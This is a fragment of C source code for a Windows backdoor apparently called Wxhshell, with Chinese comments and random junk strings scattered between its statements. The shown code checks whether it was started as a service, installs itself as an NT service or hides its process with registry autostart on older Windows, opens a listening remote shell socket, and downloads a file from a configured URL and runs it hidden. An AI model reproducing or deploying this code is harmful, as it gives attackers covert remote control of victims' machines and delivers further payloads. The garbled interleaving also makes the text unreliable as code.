YoRD9M~iG~ if (!NtQueryInformationProcess) return 0; G/}nwj\ K6oQx)| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '\B!1B>T if(!hProcess) return 0; +}!FP3KgT AaJnRtBS~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xy<)zKp K>`*JJ, CloseHandle(hProcess); Cv1CRmqq% _VAX~Y] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3=kw{r[2lM if(hProcess==NULL) return 0; vtf`+q &0@AM_b HMODULE hMod; ?rububDT{ char procName[255]; nA XWbavY unsigned long cbNeeded; \EeK<)4: mF]8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~C ;gEE- v@]\
P<E CloseHandle(hProcess); J
k FZd U^xtS g if(strstr(procName,"services")) return 1; // 以服务启动 YH$whJ`W0 MG0d&[ return 0; // 注册表启动 ]A dL } 5B+I\f& q#1CmKt4R // 主模块 U~[ tp1Z) int StartWxhshell(LPSTR lpCmdLine) wE09% { zRF+D+ SOCKET wsl; $8Y|&P BOOL val=TRUE; u-#J!Z<T8 int port=0; -Mufo.Jz1o struct sockaddr_in door; a6.0$' PsoW:t if(wscfg.ws_autoins) Install(); Z <vTr6? 3gU*,K7 port=atoi(lpCmdLine); 6I$:mHEhd /c-%+Xd if(port<=0) port=wscfg.ws_port; {'eF;!!Dy ]5i]2r1 WSADATA data; (e6KSRh2fF if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _'DZoOH|VE \jThbCb if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }{m.\O setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g|V0[Hnq6 door.sin_family = AF_INET; YXjWk), door.sin_addr.s_addr = inet_addr("127.0.0.1"); a$P$Ngi?S door.sin_port = htons(port); 0w
]
pDj ,*'aH z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SI@Yct]<g closesocket(wsl); 9q
f=P3 return 1; -
-H%FYF` } s~MCt|a qz/d6-0" if(listen(wsl,2) == INVALID_SOCKET) { K
yFR;.F- closesocket(wsl); B< BS>(Nr> return 1; "?TKz:9r } Wc-8j2M Wxhshell(wsl); XP!7@: WSACleanup(); Pi:=0,"XOp xSoXf0zq: return 0; `tZ`a 0ud>oh4WPR } H@hHEzO Qp]-4%^Vz // 以NT服务方式启动 b!xm=U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^5d9n<_xnQ { 1*J#:|({(
DWORD status = 0; 8|iMD1 DWORD specificError = 0xfffffff; sz+Uq]Mn VyL|d^'f_ serviceStatus.dwServiceType = SERVICE_WIN32; G`r*)pdm serviceStatus.dwCurrentState = SERVICE_START_PENDING; QHuh=7u) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E?Ofkc$q serviceStatus.dwWin32ExitCode = 0; JqmKD4p serviceStatus.dwServiceSpecificExitCode = 0; /Jc i1o serviceStatus.dwCheckPoint = 0;
9
]W4o" serviceStatus.dwWaitHint = 0; w_eUU)z "sU ~| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [O"8Tzr if (hServiceStatusHandle==0) return; `OmYz{*r z("Fy status = GetLastError(); 0al8%z9e@ if (status!=NO_ERROR) !4l\*L { ``4lomz> serviceStatus.dwCurrentState = SERVICE_STOPPED; xg2
& serviceStatus.dwCheckPoint = 0; Jf=$h20x serviceStatus.dwWaitHint = 0; CuD ^@ serviceStatus.dwWin32ExitCode = status; GBsM?A: serviceStatus.dwServiceSpecificExitCode = specificError; :},/D*v SetServiceStatus(hServiceStatusHandle, &serviceStatus); .JkF{&=B return; |]9Z#lv+I } YKsc[~
h S0<m><|kl serviceStatus.dwCurrentState = SERVICE_RUNNING; Vz,2_QJ serviceStatus.dwCheckPoint = 0; hu+% X.F4 serviceStatus.dwWaitHint = 0; lm;G8IP` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 15 ^5yRXC } CAD:ifV X@n\~[.B // 处理NT服务事件,比如:启动、停止 {b6g!sE VOID WINAPI NTServiceHandler(DWORD fdwControl) vz_ZXy9Z { kbkq.fYr switch(fdwControl) |r=.}9
- { 3qc o2{nz case SERVICE_CONTROL_STOP: t,yzqn
serviceStatus.dwWin32ExitCode = 0; 2i3& 3oz]O serviceStatus.dwCurrentState = SERVICE_STOPPED; eZWR)+aq serviceStatus.dwCheckPoint = 0; @j Y_^8#S serviceStatus.dwWaitHint = 0; W^^}-9 { _ooSMp| SetServiceStatus(hServiceStatusHandle, &serviceStatus); MjHjL~Tg } #)xg$9LQb return; wzRIvm{ case SERVICE_CONTROL_PAUSE: Q5s?/r serviceStatus.dwCurrentState = SERVICE_PAUSED; 9w! G break; S(f V ,;Z case SERVICE_CONTROL_CONTINUE: 8?7gyp!k_f serviceStatus.dwCurrentState = SERVICE_RUNNING; :>t?^r( break; GCgpe(cQ case SERVICE_CONTROL_INTERROGATE: G$D6#/rR break; 4U*uH }; hsUP5_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); E0i_sB~T } ;|Ja|@82 tyLR_@i%% // 标准应用程序主函数 \#A=twp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r2*'5jk_ { Pyx$$cj 42m}c1R // 获取操作系统版本 /j1p^=ARV OsIsNt=GetOsVer(); O<x53MN^ GetModuleFileName(NULL,ExeFile,MAX_PATH); h8yv:}XU* .ZxH#l _ // 从命令行安装 ]cv|A^ if(strpbrk(lpCmdLine,"iI")) Install(); 0+\~^ {mp;^/O`er // 下载执行文件 H5N(MihT if(wscfg.ws_downexe) { dIo|i,- if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nAp7X-t WinExec(wscfg.ws_filenam,SW_HIDE); 4D/mm(2d$ } >)N}V'9 Lz
VvUVk if(!OsIsNt) { RhJL`>W` // 如果时win9x,隐藏进程并且设置为注册表启动 2,>q(M6,EA HideProc();
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~ StartWxhshell(lpCmdLine); Hf/2KYZ } lE54RX}e4 else ?ExfxR!~ if(StartFromService()) \\D~Yg\# // 以服务方式启动 A*h)p@3t< StartServiceCtrlDispatcher(DispatchTable); [^gSWU else pr-{/6j6 // 普通方式启动 QsmG(1= StartWxhshell(lpCmdLine); V#TA%> *4zVK/FJ return 0; g(:y_EpmLH }
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